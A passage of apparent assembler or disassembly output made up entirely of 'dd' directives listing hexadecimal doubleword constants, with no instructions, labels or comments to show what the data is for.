0E6D10535h, 339FF9h, 0E1D353B8h dd 0F8706D8Eh, 94EB59h, 7E33E7FCh, 574412Ch, 91D26884h dd 69C1C34Eh, 2C51FE8h, 20717600h, 9C2CEF43h, 16D001FEh dd 0D7B13247h, 2692014h, 0F00B7228h, 0B4823300h, 67088EF5h dd 4C690048h, 0AD274D0Ah, 142610A9h, 0A3805059h, 4A9F36FEh dd 870303F7h, 3B741A76h, 0D4A00F89h, 0D61DBF21h, 494041C5h dd 0A903EB70h, 8AA2EE5h, 0F4110080h, 0D26AB3B0h, 45696600h dd 0A8BBD391h, 0B22800A0h, 954F1682h, 8BFC3583h, 5EA9150Fh dd 424A0065h, 0B68492h, 0D57BC6E5h, 0E6EE2F98h, 16A9C90Ch dd 9CEB3E68h, 0CADC00A0h, 663318FBh, 0B49CC324h, 0CC5A5101h dd 90724FD0h, 920C6DC0h, 570514FCh, 1B3A46E3h, 0ED69D883h dd 629DC981h, 0B235CC4h, 2A08263Ch, 874B1084h, 0F0FF608Ch dd 2D16A30Dh, 3709B8D9h, 91680009h, 0C8F564h, 0B79A7DBEh dd 0C3BC3E4Ch, 0E18CF20Fh, 0CE0DE01Bh, 48867A43h, 0EA1388ADh dd 0D4B460D0h, 4F1E3AFBh, 3DC052E2h, 45FF35B7h, 48430370h dd 0F1A3BC2Fh, 2A00C87Bh, 3D8DF6CDh, 0B81C6D26h, 3C28B68Ah dd 5306E0C9h, 30EFAAD6h, 0C1AF9500h, 0BB4B868Eh, 0F01A61A7h dd 0F9A3DFE7h, 6DA4600Dh, 1183325h, 524F8674h, 2612CC24h dd 2818BD41h, 26CE0139h, 0A59EAE37h, 0EC7DF018h, 0DE06AB02h dd 906ADF34h, 13C78D9Ch, 6695FCh, 391382D8h, 4500E942h dd 14CBDAB2h, 9E5A2Dh, 0E3E8C201h, 7DC87B76h, 0CD216C00h dd 568843B3h, 0B17C0083h, 0F4548F47h, 9D009F37h, 96AC085Fh dd 0C8F0C4h, 10270641h, 0AE7A75C7h, 58176130h, 0B95B605h dd 6BB54A16h, 0B21A2300h, 0A1C1035h, 2840DF54h, 2217B829h dd 0E34D0368h, 0A3665AC0h, 3BA512A0h, 30D3881Dh, 0C9B8D600h dd 3896C42h, 0FDF2E74Bh, 1A80CF8Fh, 0B900D868h, 8254AEC5h dd 99A7Ah, 3DEC3997h, 0B290F5D3h, 2EC3FB38h, 2E0078C7h dd 6E1F3577h, 187504h, 6B6AD201h, 969E3F2h, 0F90C471Dh dd 3BE04880h, 0F0AF66h, 29C7CE03h, 0F24289F5h, 80859E3Fh dd 1E317816h, 40AFE4Eh, 3725698Fh, 51CA8B6h, 142BC3E7h dd 2ACDEC00h, 3DD3F078h, 0A809746h, 0BDBC6165h, 0DD2E2CC1h dd 0C30E848Bh, 0B62443A3h, 0B4BCAC31h, 0E661F00h, 3B1C5A81h dd 68285800h, 0F72361EEh, 40423AECh, 0E29E0D00h, 2CE65596h dd 970054E8h, 62A9235Dh, 0F074595Eh, 1424007Dh, 0C48704BEh dd 0F03B49C6h, 0BD1E8092h, 0A879071Dh, 7719003Bh, 9D35101Ch dd 0D802C493h, 0CD7A927Dh, 35458BDh, 72ADB10Bh, 22E054E4h dd 7D0036EBh, 0C04C8E39h, 61F094h, 732934E8h, 0C7DDADF1h dd 0D9F35600h, 91646EB2h, 36680388h, 933858EBh, 56FDB1D8h dd 0BEC1CC00h, 7D5E3387h, 20B00085h, 0B641F65Ah, 0FCE99C25h dd 750F2AD6h, 4003C51Eh, 450B0D4Fh, 35810195h, 7FC72DC4h dd 0E3E5306Ch, 167E9D04h, 0F8D01513h, 0AE8A23h, 0E53397F0h dd 7995CFE2h, 10DF7800h, 5EF4B41Fh, 0ECB00160h, 93D61BE9h dd 9DE0FE29h, 0DBEC4532h, 0D5E3C207h, 28B34ED3h, 31701748h dd 813D1CAAh, 34DA17DCh, 0C11D60CFh, 2D7ACD77h, 284CE000h dd 0A7746F4Dh, 24389515h, 570027CCh, 1347B4C0h, 9D8EAB05h dd 0B821C802h, 91C0CC51h, 0A0752h, 123F3BD0h, 7DFBCBA0h dd 0CCAF5F00h, 0AA78E043h, 0C695019Ch, 266E6D34h, 2477F4h dd 8602DAC2h, 937AA0h, 3DB190DFh, 4530646Ch, 5572B50Fh dd 3CE0724Ch, 89D200C2h, 1D961033h, 7E006A49h, 6301D11Ah dd 723816h, 9D583A6Eh, 2ECE62FBh, 0FDC7BC00h, 87B7F44Ah dd 22743B05h, 9050C0CBh, 2300AC66h, 0D7DD3F58h, 0EC854Bh dd 4061FC52h, 415EF8Bh, 4AF8C200h, 25640FAAh, 8C1E2885h dd 199703F9h, 7524D2E6h, 1BF2DED8h, 0E0D3CE00h, 0A71802D0h dd 0A3701DAFh, 4DB2C16Ah, 30CC03EFh, 593D21CCh, 0D36D800Eh dd 0C0B4C9D5h, 9AB100E7h, 4DD673CDh, 890C5906h, 98BB8229h dd 84A60039h, 4705A26Eh, 900CFCAh, 2E2AB7F0h, 0F549F68h dd 0BFCBEEBBh, 0A960FBEEh, 0C7BA6CFEh, 53F42100h, 20F9A728h dd 1FE1002Fh, 60455C0Ch, 8125EBDDh, 4AD00727h, 3701B8F0h dd 88AC013Ch, 70D27552h, 66109F3Eh, 0C74611C0h, 72D42BDEh dd 11B84C93h, 19815238h, 5538B988h, 20A8711Dh, 0A2009B34h dd 0A3D90186h, 7BD59Fh, 0C6021D0h, 97F4CE2Fh, 361B5300h dd 93E772FCh, 7EAF3852h, 0A06FB707h, 0F461B06Dh, 4100C030h dd 3F8F74CDh, 0EA387ABEh, 6693009Bh, 88A9C857h, 7E00E92Dh dd 8BB3AEBh, 0FA846E25h, 0E8701EA2h, 0FDBF8B37h, 0A54ACB8h dd 886B59h, 0E42AF8F6h, 3EA1E28h, 79A03220h, 0A5991A82h dd 8FD5EC96h, 40579500h, 51FF150Eh, 8359005Dh, 5C086C66h dd 90007725h, 89EB463Eh, 11D867h, 160B9D20h, 9EA779A8h dd 0AF2E9F00h, 0E33955C7h, 0CCF700DDh, 44E5F29Ch, 0CB009E3Ch dd 28C1CEB6h, 6E75AFh, 2E9C5337h, 830E762h, 80101839h dd 1575CA0h, 24BB503Dh, 28E9D0h, 0EA713A29h, 10EE436Bh dd 59203003h, 0B08DCE58h, 38FBEF0Dh, 0AE80EB65h, 17ED702Dh dd 80971BBEh, 0EE90EC90h, 0C68202D0h, 486AA624h, 28805562h dd 0AAB91797h, 0DA1CA97Bh, 7A00B0EAh, 9AA4D5C4h, 309729D3h dd 0A05700ACh, 14E44792h, 9AE5EE00h, 1B33A55Ch, 0CC1300D5h dd 8DDEBEC9h, 213A4695h, 160C8030h, 9C6C514Eh, 8E0D0049h dd 0BF8540ECh, 0D207D14Bh, 8693C7CAh, 0B0875A80h, 0EEDA0007h dd 2DE246F3h, 0DB00EC2Bh, 1425665Bh, 1E8DFBBh, 78CCBCEFh dd 0E27E2DD3h, 503BF087h, 0F8547707h, 0EF83AD00h, 0AB709DAAh dd 0E06CE010h, 16D0269Bh, 0E7780030h, 0DD88993Eh, 0A52DC601h dd 1CCA6D12h, 7F005C6Ch, 0A7B557C0h, 0E70020D0h, 0D32B6485h dd 2D444D8h, 1EF606AFh, 4DE0434Dh, 0D00B677h, 0C58594C9h dd 0CB633Fh, 6F3CD8DCh, 0EBEE6978h, 1F0038EAh, 0AA49B86h dd 9D2A62h, 3E4EFE66h, 8A9C1A75h, 410C3D00h, 0A4EE9B81h dd 67E813B6h, 71280007h, 79E5BC3Eh, 52278500h, 0F832DCC2h dd 1A7FAB9h, 8A8D7D86h, 0C4513EDBh, 737C540Ch, 73446252h dd 0E7EF4C03h, 0F056FC57h, 446647h, 5B025842h, 0CF1ECDFBh dd 680D5003h, 0E061E7E6h, 0B062FABDh, 8C7394h, 0D3B1AA9h dd 0F00456AAh, 8546E600h, 0FAFEE579h, 0CA6607BAh, 103C43E2h dd 0D6F923B9h, 5F212D00h, 8C4B7398h, 33E9003Dh, 8A9B64B3h dd 0B90009BAh, 0E02B0FDh, 6960DFh, 899C61ADh, 0E544E082h dd 8ACB5500h, 8353B6F5h, 0D57205h, 13FD8BA2h, 4B66BC41h dd 94B73400h, 5E91654Ch, 13EF201h, 64145685h, 0D0B2A7DAh dd 8E008BE2h, 0F0CEF262h, 0EC48B488h, 616C00B0h, 3F6EDB4Dh dd 6F5A2BBDh, 68E8A8F1h, 5E90026h, 0D851B2EAh, 879F41E3h dd 0F090EFFDh, 3E920F65h, 0B3A449D6h, 0FF8D0ED0h, 42EED866h dd 943A7403h, 90EC6038h, 4A596Eh, 1EFDDBF1h, 0C037094Fh dd 0DC451400h, 9BD2E286h dd 4CF4000Fh, 117604Dh, 3200B2B8h, 0C91E109Fh, 2E69ED90h dd 20D4BD39h, 9E01908h, 0F89820AEh, 5A388B3Dh, 0A0319D84h dd 4BBB4740h, 921A8F3h, 65094101h, 87CD7780h, 9EF81359h dd 0E400157Dh, 0A931F546h, 8A2EB9h, 10473567h, 0C4F2B23Dh dd 0C50206F6h, 8ED49E3Ah, 0D21B619Ah, 97E1C4h, 186E7CC3h dd 0FA6B3D37h, 260D4B01h, 7F8FE94Ah, 0B3A9C06Fh, 3201AF88h dd 791434D9h, 9840B513h, 0C08F89A8h, 4B362B51h, 1774FB51h dd 0CB8EA8C4h, 0F00098E8h, 77D49175h, 0DF07106Fh, 6D5FD725h dd 18E90330h, 30FE0032h, 8FABF0E2h, 0D6077758h, 2A98AEF2h dd 6747CDE0h, 0AC8A0012h, 8C4F0472h, 0E61E59B7h, 0FC55E2h dd 0C2837DCBh, 308CFh, 9348A140h, 9933178Dh, 0EB24F000h dd 4906F8B7h, 0C0F400B5h, 63C3206Ah, 0BC005B96h, 3D241DD7h dd 0F401AC1h, 3944E9C5h, 0F98B92E0h, 2006B75h, 810FE87Dh dd 3E45FD42h, 543D7173h, 0CFEB1F00h, 3BABDA1h, 9DED2600h dd 972DD978h, 0D25D00C7h, 492A5AF2h, 0A50323A1h, 84C15F1Ch dd 8D6AF9DFh, 17128081h, 40CA164Dh, 90B3B798h, 6AF56216h dd 3CA0B0h, 0A30BA9BAh, 60157AE8h, 0D809A678h, 82DB8861h dd 40957F86h, 10BF72Ch, 0A53ADC2h, 0F1FFE663h, 0E7FCF8B7h dd 0E0EF5B00h, 9325418Eh, 0D86C0076h, 92CE490Ah, 0EE0047ADh dd 0FA260FF8h, 0B8989Ah, 235238F0h, 6981652Bh, 1CE72200h dd 0D4CAAA0Fh, 0F5C10313h, 60A2A6B8h, 40BFC0CCh, 9B035CB5h dd 0E30AFB98h, 0C0AECBh, 7706B31Dh, 0A4A68795h, 18F6D530h dd 3BBCF91Eh, 539215B6h, 2E64803Bh, 606493B5h, 588834A0h dd 0FB651EF3h, 339742AEh, 2C8194DEh, 2867A1Bh, 828EBB1h dd 1621C458h, 0B5630704h, 0A534D550h, 1E2C8358h, 0AF615972h dd 0AD3BCEB8h, 8E2B2C40h, 0A0DD80B8h, 0BCD858A0h, 1B0C0389h dd 0C659BA61h, 0CF126F88h, 844CB711h, 722904DBh, 3039A4A9h dd 48CF2FCh, 0E24F5385h, 20D347B3h, 80D22008h, 4081CF58h dd 0F0D0935Ah, 9AC909FCh, 1EE4502Dh, 9D5481A3h, 0CD08C051h dd 2F208025h, 3DAC493Dh, 12985071h, 9CBC9300h, 0E385FFC5h dd 56CA163Ah, 8258C001h, 0EB000F4Ah, 0F1D445F3h, 1C89B5Fh dd 3A774EEh, 20C4F5AFh, 9A0B176Bh, 0FED2CCh, 0C30FD695h dd 0F83F6064h, 395D97AAh, 6DABF100h, 4E0C83EEh, 3A52010Bh dd 6126A7CFh, 5732F4CBh, 0BDD290A8h, 135B200h, 716B3A08h dd 6F7418D0h, 2AB12114h, 6C5DB301h, 0FEA37296h, 0A114C80h dd 0F925FFBh, 0CAD19F60h, 60296DA7h, 22B2386Eh, 110E2B3Fh dd 0C0B5DBF2h, 948F0E15h, 0C098C4h, 86D7D5B2h, 0D2BAF38Eh dd 0A2C0566Fh, 87BE18DFh, 2D5269F8h, 604040FCh, 3B14901Dh dd 41650ECEh, 82FCE05Ah, 0F40D7500h, 0CD4D2DADh, 0AF211842h dd 9213C1A0h, 944FBF24h, 9420AC83h, 0E41E44C2h, 0A7CC0AB2h dd 805C3699h, 0F38AA37Bh, 94238EFBh, 33C1801Bh, 0AF4D992Bh dd 0CB2081C1h, 0BC400784h, 4897ECF8h, 0AF3E3C49h, 188FFC50h dd 715AD4B4h, 14004182h, 1A0FD994h, 0E079F48Ch, 0E8F7305Fh dd 0CE591321h, 21906B00h, 52AD9CEBh, 747A493Bh, 0BEA35A1Eh dd 1D45D383h, 54A1517Bh, 0D6E08214h, 42967F03h, 0E3C80EC4h dd 9D9259h, 0A6484510h, 136C75B0h, 0DEF49B00h, 658CFA25h dd 228701F9h, 88640EA1h, 0D86221ECh, 0DD00193Bh, 55B28596h dd 0CEA575h, 74A74EBCh, 78E41601h, 9369351Fh, 5D535E00h dd 3E4AD297h, 0FA8E149Fh, 3037E23h, 0F69341D9h, 0EBED96F0h dd 8CE7DD1Eh, 136D36C0h, 3A93F2h, 78045C7Fh, 5D2057D7h dd 0D80D0DEh, 0E198E660h, 4662139Ch, 0F8D20771h, 8078A4EFh dd 0CC3A59A5h, 43A5BB00h, 64CD9DA1h, 27220355h, 6954B6CEh dd 5DE37A80h, 5B77151Fh, 2D57B00h, 96B42h, 0CB416E2h, 560D33F7h dd 0E80058F4h, 0C2110418h, 62DE09h, 658A7FADh, 0B5D130A7h dd 0E9FBAC00h, 4316948h, 0E8430FCDh, 24600DDDh, 0AC08D9B8h dd 0EE461503h, 0D94D1378h, 7CE4DC2Dh, 7A1E0043h, 5FD37F61h dd 7601E2A6h, 7B4B24B7h, 2DD025EFh, 40F0D0h, 5710C515h dd 8AA8D9BFh, 6E32E31Ch, 9E303FC0h, 7D824BD5h, 282B0B26h dd 0CB00E9F1h, 37EDA069h, 316CC300h, 0E3562151h, 82AD031Eh dd 0DE953D06h, 0AA235018h, 1DFA8A8h, 317F9C7Ah, 6044D33Eh dd 0ED0F56C8h, 5F830541h, 4F6FE383h, 23D4D88Fh, 1CA00C7h dd 0C145ED75h, 90039D2h, 0ECAAE41Ch, 0B3CB4ACh, 560AFF9Bh dd 66E48075h, 6DA7A2D3h, 0F0B67025h, 131C8428h, 2F00CD7Dh dd 5DA827E0h, 79F10001h, 0AD8F8AC2h, 72123B55h, 29FCFEE7h dd 1C893C00h, 0DFDBCD7Eh, 30A6A800h, 0B2CE79FCh, 40580159h dd 3FF0F766h, 5D8B4011h, 0C200F488h, 0AC590EFh, 168B4C4h dd 220B93CAh, 0C8E50F43h, 100DC49h, 3602C1CBh, 0AF25F77h dd 4C05A79Fh, 0E63A86BCh, 0C80750D8h, 50ACD57Ah, 54DF8150h dd 982C0059h, 0DC31762Fh, 74ECC03Dh, 68C6B400h, 63DEEDDBh dd 26DD1D42h, 203CA081h, 447D8061h, 4B49414Eh, 1F0500A4h dd 51366438h, 68000AB6h, 2DBF33B5h, 0C05E20A2h, 9480838h dd 0EE137E8Ch, 0F5075043h, 228017B6h, 3020382Fh, 77B0B18Eh dd 0AE3C4A51h, 4BB48007h, 289DB509h, 5DF8A82Fh, 273D0764h dd 0F04F36B7h, 5494089Fh, 0F34CBFF8h, 0D9B84F53h, 9DD0A05Bh dd 7A1E84E8h, 4170D556h, 50F5179h, 0D078728Dh, 0F1D800E7h dd 0B844AD50h, 8700CE7Fh, 64EAD501h, 0C11C7CBh, 71671778h dd 7A003230h, 7E273B02h, 0F42390h, 0A89D54C7h, 6939B43Dh dd 0A2800503h, 0E045565Fh, 3C6C9Eh, 8D927B10h, 0C50CE6CCh dd 42D7011Fh, 0D2C8E000h, 90B4F032h, 0C0D001F9h, 62FE266Fh dd 70BCD6h, 0B49D5E39h, 0FB048Bh, 66CBAC77h, 0F9155823h dd 738EE7Bh, 0A4A3036Eh, 86B60B49h, 0ADEC0149h, 4D780CD7h dd 0F2FFE0CBh, 68369E00h, 0F1823965h, 171EA51h, 9BAAB522h dd 40E6CB62h, 0DF93A110h, 4544D800h, 597C6B2Fh, 827B0087h dd 0EF2CF192h, 39181504h, 0CD0890E0h, 62110089h, 0E4FA81B5h dd 180DDD21h, 20EFA495h, 0DC03BE0h, 73430AC9h, 0D01C074Eh dd 9EB31FC8h, 3B105600h, 93EE73EAh, 16E60A7Ah, 0B9F8A8h dd 97D183F2h, 510070C7h, 1EAB9B0h, 3FDDC73h, 0A740DD5Dh dd 27B0A179h, 5507839Fh, 69E17E72h, 0AFB134h, 0D8509070h dd 8500F9DBh, 0DA657432h, 30BEA48Ch, 7DB87173h, 0F8001804h dd 4BE9FF2Dh, 40082Fh, 805E748Ah, 75DE7A71h, 0C9223C00h dd 0E7B31ECh, 0D3D701EBh, 0FACF6B4Ch, 0B302CCE0h, 2976603Ch dd 5C046Ah, 4A703CE1h, 0F3495E67h, 75005DB0h, 89E63D1Dh dd 105735Bh, 0EAE27CEEh, 602C0C27h, 0A003528h, 0D1417297h dd 162E89E5h, 1E3BCD64h, 721132Dh, 0F07DD40Fh, 8A3CECF7h dd 0DE09300h, 0A8393533h, 776E0074h, 0AA28AF9Dh, 430FAECAh dd 2053E2ADh, 18E99E8Fh, 45E7288h, 0F54BEF1Bh, 771CFBE1h dd 2C008BD6h, 0A3417136h, 0B6460040h, 659A4F6Dh, 0CF017B28h dd 30132A33h, 0B1E06779h, 51CB00E9h, 0F08FCAA8h, 0A50092F8h dd 0D61C8D2Ch, 45086Eh, 0D4B9CB6Dh, 0F981CD89h, 0C96BFC07h dd 22809E1Ch, 320130DDh, 0FFE6E041h, 69152C0h, 2A53E800h dd 21EA6759h, 6AEF004Ch, 16987E55h, 0AFC1045h, 0CA410300h dd 0B9488584h, 4C7B0024h, 0AEDC1F67h, 0CD0596F7h, 0F869D608h dd 76CC8C0h dd 19880041h, 70AD4F06h, 0FE003EB3h, 0F92A5BB7h, 137A5008h dd 0F010D6D1h, 0DE049191h, 73DD5CE8h, 2AB4A7C0h, 48B7040Fh dd 0C0E4526Dh, 5FEA26A2h, 54000A7Dh, 55395AFDh, 6B984Bh dd 9B246CA4h, 0D54DFE43h, 750751F2h, 98E1DFD3h, 32809690h dd 9C66003Ah, 0ACBA7C0h, 1002F8Eh, 91E406D6h, 6E533Bh dd 74888A5Ah, 387AB5AAh, 0D8BB792Fh, 2B021621h, 0AFFC0060h dd 0C8EBC62Ch, 40841C24h, 8F03D100h, 0F6D5E8h, 40C39B47h dd 3A1DD90Eh, 0EE488200h, 0B5DBE477h, 508E07FEh, 70A39A05h dd 24D98179h, 0A6B1F701h, 5E174A26h, 2230EB47h, 9E7030h dd 401F698Ch, 94C4D664h, 5300D077h, 6665CD7Ah, 4C045D85h dd 1403753Dh, 15374736h, 3007E5F1h, 6B0088B2h, 402CA9BDh dd 132797h, 1C53EBC8h, 69C6D0D7h, 0C2572005h, 0B280E9E1h dd 0FAEEBC3Bh, 0F2C00C5h, 0EA0AE41Fh, 0A3007612h, 249F9039h dd 0B036A4B0h, 0BE940080h, 4DAA06EBh, 0A000CF1Fh, 67B942BAh dd 2EA385h, 0EAEC90A8h, 8E114692h, 71E25A00h, 0CD68AD26h dd 32F903D7h, 66F802DDh, 1A7590C0h, 7CA28200h, 0DC914EBh dd 8B4012Eh, 0AF9A0F05h, 0EF1C30CFh, 0F6421004h, 29C064E9h dd 3E79B439h, 498084E4h, 9E0E889Fh, 477F78FFh, 505B5701h dd 0E0F6C24Dh, 28583BD0h, 0B314A8h, 623927C9h, 0F98D6A7Ah dd 0CD971900h, 8B7D1ECCh, 0A1BE029Fh, 4671FF72h, 0ED29A9E0h dd 67584400h, 0CCBBF5FCh, 6D04006Ah, 0B6523B87h, 8800DD54h dd 4A7FC1D1h, 789F63BDh, 0E3AE1D29h, 96C04012h, 7D29E25h dd 0C600167Ch, 6A5645ACh, 65A198h, 34CFE28Eh, 0C5F1279Ch dd 2D3C1F0Fh, 51A90087h, 7E14994h, 36D3A854h, 0B763F08Fh dd 0DF004A77h, 1FF5922h, 76AD252h, 0E437DDB5h, 0E04DB795h dd 0EAB6DBF0h, 0CB577D00h, 0E56E1934h, 0BDC104BCh, 0C0D32B0Ah dd 1C84D518h, 370045E2h, 0AC2EE1BBh, 9A34634h, 9DA56C7h dd 50FA9502h, 1B9123E0h, 0DC6A2700h, 30451278h, 0F83300CDh dd 9A4055Ah, 0EA2C03BEh, 0BC00A383h, 9D861970h, 0CC231220h dd 2B9020DCh, 0C200F9FDh, 53DDB033h, 1F93C76Dh, 0C1CD65F6h dd 8606B661h, 6F9CE0ABh, 0CBB27000h, 5FE1B0FEh, 343C00F9h dd 0EF4DE8F6h, 70001CBBh, 3727D8Bh, 9F77ECh, 6CB77C6Ah dd 0A2F4D769h, 66D62900h, 0C0545BAh, 0B0031FD2h, 404FD830h dd 0F7091D0Ah, 0AC0236F5h, 0E80859D4h, 6F092h, 866F0F88h dd 0B7E63325h, 63C921C0h, 5F8CF9h, 6E9E26FEh, 0F7C75D79h dd 3E7931Ch, 5100AEA8h, 0F08884A1h, 70C50CFh, 0FD24BD9h dd 2825B253h, 0EE64A840h, 284E0630h, 18FCB5ECh, 10AE9277h dd 350A8C3Bh, 0B5225F28h, 78002716h, 9FF70207h, 0C9F826CAh dd 0D9131Fh, 95C4361Ch, 43022A28h, 0EBD42DD0h, 962C4037h dd 75A3000Dh, 0E545015Bh, 0D2005A94h, 7EE02DFAh, 0B510F3h dd 4A68D7D1h, 0F68F8DC6h, 57CA3700h, 8847EC34h, 481D4DC8h dd 23772B0Ch, 7800DB70h, 91F07371h, 186286h, 0EF8D9941h dd 1589DDF2h, 18022B26h, 92060E00h, 126D7E0h, 0B50D9FFDh dd 0FC3C08ABh, 0BB3AD947h, 0F1700003h, 4E854504h, 0D166005Dh dd 0FBA1DBC9h, 0A43D6505h, 698200DDh, 6B01B030h, 67C60037h dd 0C3D5863h, 7E244FA4h, 813F9397h, 2C2932AAh, 6BF80285h dd 0BF83174Bh, 1F48005Eh, 11388ED2h, 17428800h, 0ECD97068h dd 5AF39BBh, 2AF1EF85h, 2094C71Dh, 0D6E752F9h, 5F4CC703h dd 0C3BD645Ah, 0FF9798C0h, 0E36E0560h, 807B3C98h, 41B32084h dd 8006C7Dh, 0F093C0F4h, 0F0FFB4Ah, 0E6298431h, 0F9175D23h dd 47C16AA8h, 2DD9AA00h, 0A3B4B7ABh, 6CB868h, 49F3D169h dd 8E707667h, 164ABE0Eh, 4B35609Ah, 1F66B0h, 139665CCh dd 5AA624AAh, 82F00C73h, 0C9E90900h, 0A7D21829h, 3A90063h dd 6B786231h, 92007467h, 0B2EA1C88h, 0FEA4F7FBh, 9C6928EBh dd 0F8CAF49Dh, 7F350091h, 0AB572E95h, 1A487C88h, 25BD0EA8h dd 0C0005762h, 716DB409h, 74800052h, 83A11C19h, 821F4D38h dd 8F445CB0h, 0AE805AFEh, 423ACh, 0DD0ECA95h, 5278477h dd 0B0B25E01h, 4A0A299Dh, 2686F8h, 0D1BE55A5h, 7944D7F9h dd 63735300h, 9AFEDDC1h, 421426A9h, 1C026F6h, 0C2BD134Ch dd 0B0829E6h, 8022D4CBh, 0A0AB2C64h, 953B0075h, 0E186F055h dd 0D0080D5h, 88E0C030h, 42D07Eh, 7A8A6DE3h, 63CDAAABh dd 74B5FD00h, 7B5E975Ch, 46AD0E24h, 0B7A5BDC5h, 2D608056h dd 6200B2F2h, 8C5FCA73h, 0F2D76AC3h, 0F918013Fh, 14DC0F33h dd 54E1305Dh, 6675E700h, 0FA173702h, 0A2BA1C90h, 0C50DC0B7h dd 0D0277035h, 1139B39h, 792B0119h, 20D8CFDAh, 91FD00A7h dd 0B9EC9CF6h, 9400D2BEh, 23A4B1C2h, 99D3F3h, 2F137FE0h dd 0EC6E6988h, 8863200h, 76EB54A6h, 9F8900A5h, 0B9E1FA4Eh dd 9B00E5BAh, 3923AA0Dh, 14A852B1h, 0D07C06BDh, 0F4B6D500h dd 414D7294h, 8F8C500Ah, 0D49FA0A9h, 15B81BC0h, 3F7A44E8h dd 570E6442h, 68007FFh, 0D56DF3BDh, 0E8857601h, 4CC6DE34h dd 9893C0F2h, 52602602h, 69C50098h, 0FEDBF780h, 4FD23D00h dd 0E1A535BAh, 1F19FEDEh, 0E1C57DAh, 0A0212938h, 0D8FB1259h dd 0F0A0244Fh, 55581328h, 0CAE20040h, 0F6540C8Ah, 778B002Ah dd 4B1FEF2Bh, 4500685Bh, 533D8143h, 5A3EB32h, 2AC407EAh dd 0C6788197h, 0C09D20B0h, 4D755C00h, 0DEDFA788h, 1762FE25h dd 1707F5h, 4171AEDFh, 0E40083B4h, 0F9BBE292h, 7E8BABh dd 0BC942FC8h, 0E0586651h, 81197139h, 2B4090D9h, 0F0405346h dd 0F3AD5FDBh, 32A5D8C3h, 730100CAh, 313FE98Ch, 350FB560h dd 607F57C7h, 0FB45B402h, 11D90FF4h, 407ED652h, 765FC164h dd 0C4488A9Dh, 0C8C90470h, 5B81B137h, 0F1CC3017h, 4E56009Eh dd 88F7D8BBh, 0DC06341Eh, 42946AC6h, 901004C0h, 8016F3DEh dd 81F8D48Bh, 1084701h, 0C968856Fh, 5BEE1F0h, 19434021h dd 80BA84CEh, 340BC7BBh, 0DE44171Eh, 756336C0h, 161A335h dd 0EABFFD9Ch, 34A19E27h, 4909AF58h, 80E95851h, 0E87B5C9Ch dd 110E6B0h, 6920CC31h, 2056AC15h, 55090195h, 0A0DF6D9Eh dd 99C69F98h, 335C0E4Bh, 6E0089C7h, 7A88395Bh, 70826300h dd 27D5A3CBh, 343B877h, 0CF058376h, 56E022A9h, 90A060CEh dd 0D400F7DFh, 8D21B67h, 0A93D5Eh, 0CA69D5A5h, 74ABB3B1h dd 0A652300h, 2590AEFAh, 0A2F8E5h, 0FF45EA63h, 0D7894854h dd 0E9067DE8h, 5714A47Fh, 2D7788h, 0AA86B93Ah, 0C9CAD7F5h dd 16BCA650h, 205052h, 6C5EDA21h, 79CA3DB7h, 3ACC00C2h dd 0B3340206h, 890379C3h, 0EC1F8D87h, 42CDD85Bh, 524B0058h dd 0A42DD681h, 3D00B2FFh, 0D295CBC8h, 26DFF1h, 6434219h dd 119B5CD3h, 0D124EA00h, 0BDF22A92h, 0CD9E1ECBh, 0BA9780FBh dd 75B2F53Ah, 0ACFCEE5Ah, 0E8DB2A01h, 0DCC78A54h, 0AD48D2B7h dd 0D000723Ah, 0BAF50A61h, 1A605Ch, 4CEA5BF2h, 26F96771h dd 7831E900h, 7588AF36h, 0D9CA3A60h, 0C5B0A24h, 0BD46BBE4h dd 9D5B0B00h, 0E2CC28CDh, 0AE18000Ch, 59140A06h, 9C0004D9h dd 0FF358356h, 39EB517h, 939AB339h, 44E86806h, 3F00AA5Eh dd 3B237EAFh, 7F6382h, 0B8CA87BCh, 0E1157013h, 9D965D16h dd 0DF002E1Fh, 8243FDD2h, 3D781F74h, 79198ED9h, 27548641h dd 3E9C7099h, 7849E900h, 0F34495ADh, 0FAEFF430h, 0BB201760h dd 0E764003Fh, 1F01A723h dd 0D21D1800h, 0D0B670A9h, 0D7B31F6Ah, 0CD9C822Ch, 0E9407A4Fh dd 0A858F141h, 791960E7h, 0F4F24E7Bh, 0F59A0028h, 9B5814C6h dd 0B107E1B9h, 29CBCD3Fh, 0BF06F950h, 0EA620308h, 7F481BE5h dd 0D8BCADF1h, 0B3F4E1B2h, 5F82E300h, 0EE091645h, 7FC01C42h dd 2A51E0Ch, 44C76861h, 0B931A880h, 0AF015CA6h, 4AFE5F26h dd 64CCC457h, 4E980051h, 591D093Dh, 101CD9D5h, 0E180187Bh dd 3217F2F6h, 2180A0C9h, 0F7AB01BBh, 0B50B0414h, 5FB02B39h dd 3CC47D74h, 0B8070724h, 0AFBE5718h, 3A70EDA0h, 0F800F591h dd 0E5D9D601h, 0D5E17h, 56773041h, 4A882CCh, 9576E0Fh dd 0DEB02319h, 96BE907Ah, 2EF50045h, 48E65DDFh, 0AE02623Ah dd 740EA4B6h, 0EB70E04Ah, 78167DBAh, 0D6D0092h, 0B06975ACh dd 0F800723Bh, 1A03767Ah, 3BE9C54h, 7926FEC9h, 998028EDh dd 227D9ED8h, 95B8B03h, 0B0A6B6DCh, 0C59DA4h, 0D189AA49h dd 0BCC7BE59h, 0CD932500h, 12283826h, 77910029h, 0B15E303Dh dd 100F2FEh, 6255F3ADh, 57ED74h, 4875053Bh, 7EFE0DE4h dd 2ABC0A07h, 0A87028D1h, 817C9Eh, 0E9A4836Fh, 9AD95101h dd 4E918E00h, 603CD6B3h, 0C26700E7h, 7A8C183Bh, 8500639Fh dd 5944C174h, 213908h, 4573ED54h, 0C02A7A29h, 78BAD601h dd 5E85429Dh, 189BBE40h, 0CCB00B1Eh, 118E8DECh, 0E81CC0C0h dd 6C090C7Ah, 8173217Ch, 0DA8775F6h, 3A3D170h, 0A8029FE9h dd 0C5B84A3Ah, 5C003EC7h, 92E6476Ch, 0C2B7D8h, 0AFA9017Fh dd 0E5D1CEAh, 0EED59F00h, 9264711Fh, 85E10038h, 8208166Bh dd 0AE014A48h, 0FF4ED3B2h, 0A69E215Dh, 0A846CBC9h, 0A4BFE380h dd 81030A25h, 1A6FCD26h, 3C9CF04Eh, 3AE60064h, 8A5518FCh dd 90018EE0h, 5D32E154h, 3670C419h, 5C6A0013h, 0F54C8117h dd 6005FAEh, 0E5AD11ECh, 72993B76h, 0D6BE03A5h, 0DF075478h dd 0C980E893h, 17747BAEh, 680EC001h, 7FBECBF7h, 0E2207AD0h dd 862A005Fh, 0B6E1F47Ch, 0FB006C09h, 1069D837h, 0C4756h dd 0DFBC6D2Bh, 